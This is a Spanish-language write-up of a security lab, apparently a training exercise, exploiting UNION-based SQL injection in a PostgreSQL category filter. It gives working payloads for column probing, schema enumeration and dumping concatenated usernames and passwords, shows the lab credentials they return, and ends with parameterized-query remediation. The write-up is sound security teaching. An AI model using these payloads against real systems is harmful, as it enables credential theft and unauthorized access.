UNION-based SQLi: concatenación username||':'||password en una sola columna (PostgreSQL)
Exfiltración de múltiples valores en una única columna string con UNION-based SQLi: concatenación || en PostgreSQL para volcar username y password de users.
1. Target Overview & Vulnerability Summary
La query del filtro de categoría tiene 2 columnas y solo la segunda acepta strings. Al ser insuficiente para proyectar username y password en columnas separadas, se usa la concatenación || del dialecto PostgreSQL para empaquetar ambos campos en la única columna de salida — variante canónica del UNION-based SQLi.
| Severidad | Endpoint vulnerable | Root cause |
|---|---|---|
| High | GET /filter?category=... |
Concatenación de category en la cláusula WHERE; resultados reflejados en la respuesta |
2. Technical Breakdown & Exploitation Flow
2.1 Aridad y columna string
' UNION SELECT NULL,'a'-- -
Sin error → 2 columnas, la segunda acepta strings. version() confirma PostgreSQL.
2.2 Enumeración de tablas
' UNION SELECT NULL,table_name FROM information_schema.tables-- -
Salida: la tabla users.
2.3 Enumeración de columnas de users
' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users'-- -
email
password
username
2.4 Volcado con concatenación en una sola columna
username y password se concatenan con || ':' || dentro de la segunda columna:
' UNION SELECT NULL,username||':'||password FROM users-- -
administrator:k7dr5fc7sx5aybvopmre
wiener:f0x5ym3z4msuy6amiyvp
carlos:dz52zjs8pkwm09s6hal1
Login como administrator para resolver el lab.
3. Root Cause Analysis
La query original expone una única columna string:
SELECT column1, column2 FROM products WHERE category = 'Gifts'
Cuando el número de columnas strings no alcanza para los campos a exfiltrar, el operador de concatenación || de PostgreSQL combina múltiples columnas en una sola celda, que el motor cast a string implícitamente al ser destino de la concatenación. El delimitador : actúa como separador parseable. Es el patrón estándar cuando hay un solo hueco de texto en la query víctima.
4. Secure Remediation
Parametrización de la query:
String sql = "SELECT column1, column2 FROM products WHERE category = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, category);
Defensa en profundidad: rol de BD sin acceso a information_schema ni a la tabla users; aislar credenciales en schema distinto del público.